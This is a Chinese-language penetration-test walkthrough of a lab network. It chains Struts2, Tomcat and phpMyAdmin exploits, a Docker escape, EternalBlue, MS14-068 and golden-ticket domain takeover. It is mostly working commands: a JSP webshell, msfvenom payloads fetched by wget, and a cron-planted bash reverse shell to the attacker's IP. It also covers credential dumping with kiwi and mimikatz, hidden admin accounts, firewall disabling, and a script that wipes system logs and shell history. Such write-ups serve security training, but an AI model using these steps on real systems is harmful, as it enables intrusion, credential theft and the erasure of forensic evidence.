環境
僅主機模式內網網段192.168.183.0/24
外網網段192.168.157.0/24
其中Ubuntu作為對外的內網機器
攻擊機kali地址:192.168.157.129 懸劍:192.168.157.130
還需要進入ubuntu開啟服務,密碼ubuntu
cd /home/ubuntu/Desktop/vulhub/struts2/s2-045v
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613 sudo docker-compose up -d
資訊收集
nmap -sS 192.168.157.0/24 nmap -sV -A 192.168.157.128
可以看到2001、2002、2003分別對應jetty、tomcat、apache中介軟體
從2001埠開始吧
Ubuntu Getshell
2001Struts2
web介面是這樣的,標題提示了是struts2的框架
嘗試了一下上傳一句話木馬,上傳成功了但是無路徑回顯無法利用
直接上struts2掃描工具
看到存在漏洞S2-045、S2-046,查了一下是命令執行漏洞,驗證一下
接著使用wget上傳木馬getshell
kali開啟apache服務
service apache2 start
製作msf木馬,放在var/www/html下
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.157.129 LPORT=4444 -f elf > shell.elf
遠端執行命令
wget http://192.168.157.129/shell.elf
可以看到木馬已經上傳上去
接著chmod +x shell.elf新增一個執行許可權 然後./shell.elf執行就行了
2002tomcat
Tomcat 8.5.19版本,查詢了一下,存在CVE-2017-12615任意寫入檔案漏洞,漏洞本質是Tomcat配置檔案/conf/web.xml 配置了可寫(readonly=false),導致我們可以往伺服器寫檔案。
抓個包,修改一下資料包改成put,寫入木馬(因為是tomcat,所以用jsp後門)
<%! class U extends ClassLoader { U(ClassLoader c) { super(c); } public Class g(byte[] b) { return super.defineClass(b, 0, b.length); } } public byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); } catch (Exception e) { Class clazz = Class.forName("java.util.Base64"); Object decoder = clazz.getMethod("getDecoder").invoke(null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } } %> <% String cls = request.getParameter("passwd"); if (cls != null) { new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext); } %>
蟻劍連線
同樣可以反彈msf shell就不演示了
2003phpMyAdmin
連密碼都不用就直接進去了,那就檢視一下版本號看看存在什麼漏洞
4.8.1遠端檔案包含漏洞(CVE-2018-12613)
驗證一下是否存在,接下來就寫入一句話然後檔案包含連線
http://192.168.157.128:2003/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
但是試了一下就算知道了絕對路徑也無法檔案包含資料庫內的一句話,進去ubuntu看了一下也根本沒有這個路徑,十分奇怪
後來看到網上的poc,還可以使用session包含,測試一下
http://192.168.157.128:2003/index.php?target=db_datadict.php%253f/../../../../../../../../../tmp/sess_a87f3b504810883a0db7aa69946f1988
這個原理就是包含快取檔案,接著就寫入一句話
但寫了一句話之後,蟻劍也連線不上,看了一下快取檔案的資訊,發現一句話被序列化儲存了,沒辦法利用
絕對路徑也沒法使用,這裡只能放棄這個方法getshell了
docker逃逸
拿到shell之後首先要做的就是看看是否存在內網,掃描一下是否存在其他網段
但是明明是root使用者ifconfig的命令卻用不了,加上之前phpmyadmin的路徑問題,讓我懷疑我是不是在虛擬機器的容器裡
果然還是沒有這麼簡單,現在要離開這個容器,由於之前沒有接觸過容器,急忙惡補了容器的知識初識Docker逃逸 - FreeBuf網路安全行業門戶
這裡我嘗試採用了目錄掛載逃逸
檢視磁碟檔案:
fdisk -l
從返回結果來看sda1、sda2、sda5在/dev目錄下。
新建一個目錄/test,然後將/dev/sda1掛載到新建的目錄下
mkdir /test
mount /dev/sda1 /test
可以看到現在可以通過訪問docker容器內部掛載整個宿主機本地檔案的/test,來實現訪問整個宿主機的目的。
在計劃任務裡寫入一個bash反彈shell的指令碼:
echo "/bin/bash -i >& bash -i >& /dev/tcp/192.168.157.129/9999 0>&1" >> /test/tmp/shell.sh chmod +x /test/tmp/shell.sh cat /test/tmp/shell.sh
寫入crontab計劃任務,表示每隔兩分鐘以root許可權執行一次計劃
echo '*/2 * * * * root bash /tmp/shell.sh' > /test/etc/crontab
cat /test/etc/crontab檢視是否寫入成功
kali nc監聽
nc -lvp 9999
成功!
內網穿越
反彈個shell給msf
run get_local_subnets run autoroute -s 192.168.183.0/24 run autoroute -p
新增內網路由
use auxiliary/server/socks_proxy
設定一下代理
開啟proxychains4配置埠
vi /etc/proxychains4.conf
現在可以通過proxychains4實現內網訪問
內網資訊收集
use auxiliary/scanner/smb/smb_version set rhosts 192.168.183.0/24 set threads 100
192.168.183.129 windows7
192.168.183.130 windows 2008
屬於DEMO域
與此同時nmap的掃描也掃出來這兩個ip
proxychains nmap -Pn -sT 192.168.183.0/24
埠掃描一些看看具體開放了哪些埠
use auxiliary/scanner/portscan/tcp set rhosts 192.168.183.129-130
大概開放了這些,引人注目的就是445埠了,直接掃一下永恆之藍
use auxiliary/scanner/smb/smb_ms17_010 set RHOSTS 192.168.183.129-130
顯示兩個都易受到永恆之藍攻擊
payload要設定為正向
use exploit/windows/smb/ms17_010_eternalblue set rhosts 192.168.183.129 set payload windows/x64/meterpreter/bind_tcp
win7直接拿下,但是win2008被打的藍屏重啟,不能用
繼續資訊收集一下,看看有沒有別的遺漏
亂碼問題輸入chcp 65001
ipconfig net view /domain net time /domain net user /domain net group /domain net group "domain computers" /domain net group "domain controllers" /domain
net group "domain admins" /domain net group "Enterprise Admins" /domain
但是無法進一步收集域內的資訊了
load kiwi看看能不能抓取到密碼
load kiwi
creds_all
一個域內使用者douser和密碼
只能通過遠端桌面連線看看能不能收集到什麼資訊了
新增一個管理員使用者,準備遠端桌面
net user lry Admin111 /add
net localgroup administrators lry /add
開啟3389埠
run post/windows/manage/enable_rdp
通過代理連線遠端桌面
proxychains rdesktop 192.168.183.129
試了一下域內的使用者登陸不上去
用了剛剛建立的管理員賬戶登陸上去也無濟於事,後來突然意識到msf有個令牌竊取的功能Metasploit用法詳解 - 1_Ry - 部落格園 (cnblogs.com)
load incognito list_tokens -u impersonate_token DEMO\\douser \\注意要加兩個斜槓
現在就可以進行域內的資訊收集了
Domain controllers:
WIN-ENS2VR5TR3N
域名:demo.com
域管賬戶:Administrator
橫向移動
現在獲取了win7的許可權,但是2008的密碼抓不到,win7也沒有許可權訪問,查詢了一下之前的筆記,不需要用到管理員許可權的橫向只能試試MS14-068了內網安全:域內橫向移動 - 1_Ry - 部落格園 (cnblogs.com)
檢視SID
whoami /user
S-1-5-21-979886063-1111900045-1414766810-1107
域內使用者douser和密碼Dotest123
本來想上傳上去,但發現裡面有ms14-068和mimikatz.exe
使用ms14-068.exe生成票據
ms14-068.exe -u douser@demo.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123
清除票據
klist purge \\清除
klist \\檢視
使用mimikatz匯入票據
mimikatz.exe "kerberos::ptc C:\Users\douser\Desktop\TGT_douser@demo.com.ccache"
成功,這裡dir不能用ip只能用主機名
連線成功後先用sc建立任務把防火牆遠端關掉
sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\WIN-ENS2VR5TR3N start unablefirewall
接下來上傳一個msf正向木馬到win7再到域控
msfvenom -p windows/x64/meterpreter/bind_tcp -f exe > shell.exe
建立計劃任務的時候顯示許可權不足,那就繼續用sc建立任務
schtasks /create /s 192.168.183.130 /tn test /sc onstart /tr c:\calc.bat /ru system /f
sc \\WIN-ENS2VR5TR3N create Startup binpath= "C:\shell.exe" sc \\WIN-ENS2VR5TR3N start Startup
正向監聽getshell
許可權維持
獲取的shell很不穩定,快速收集資訊進行許可權維持
kiwi獲取密碼
或者
新增一個域管理員使用者
net user lry Admin111 /add
net group "domain admins" lry /add
開啟3389埠
run post/windows/manage/enable_rdp
使用lry管理員登陸了上去
proxychains rdesktop 192.168.183.130
上傳一個mimikatz到域控
privilege::debug
lsadump::lsa /patch
獲取到域的SID和krbtgt的NTML後就可以製作黃金票據了
黃金票據、白銀票據 - 1_Ry - 部落格園 (cnblogs.com)具體就不製作了,現在只要域管理員不改krbtgt密碼,我們就可以以域內普通使用者的身份訪問域控
痕跡清理
Linux
清除命令歷史記錄
histroy -r #刪除當前會話歷史記錄
history -c #刪除記憶體中的所有命令歷史
rm .bash_history #刪除歷史檔案中的內容
HISTZISE=0 #通過設定歷史命令條數來清除所有歷史記錄
在隱蔽的位置執行命令
使用vim開啟檔案執行命令
:set history=0
:!command
linux日誌檔案
/var/run/utmp 記錄現在登入的使用者
/var/log/wtmp 記錄使用者所有的登入和登出
/var/log/lastlog 記錄每一個使用者最後登入時間
/var/log/btmp 記錄錯誤的登入嘗試
/var/log/auth.log 需要身份確認的操作
/var/log/secure 記錄安全相關的日誌資訊
/var/log/maillog 記錄郵件相關的日誌資訊
/var/log/message 記錄系統啟動後的資訊和錯誤日誌
/var/log/cron 記錄定時任務相關的日誌資訊
/var/log/spooler 記錄UUCP和news裝置相關的日誌資訊
/var/log/boot.log 記錄守護程式啟動和停止相關的日誌訊息
完全刪除日誌檔案:
cat /dev/null > filename
: > filename
> filename
echo "" > filename
echo > filename
針對性刪除日誌檔案:
刪除當天日誌
sed -i '/當天日期/'d filename
一鍵清除指令碼:
#!/usr/bin/bash
echo > /var/log/syslog
echo > /var/log/messages
echo > /var/log/httpd/access_log
echo > /var/log/httpd/error_log
echo > /var/log/xferlog
echo > /var/log/secure
echo > /var/log/auth.log
echo > /var/log/user.log
echo > /var/log/wtmp
echo > /var/log/lastlog
echo > /var/log/btmp
echo > /var/run/utmp
rm ~/./bash_history
history -c
windows
msf
1.檢視事件日誌
run event_manager -i
2.刪除事件日誌
run event_manager -c
3.clearv命令清除目標系統的事件日誌。
4、還需要手動刪除剛剛上傳的後門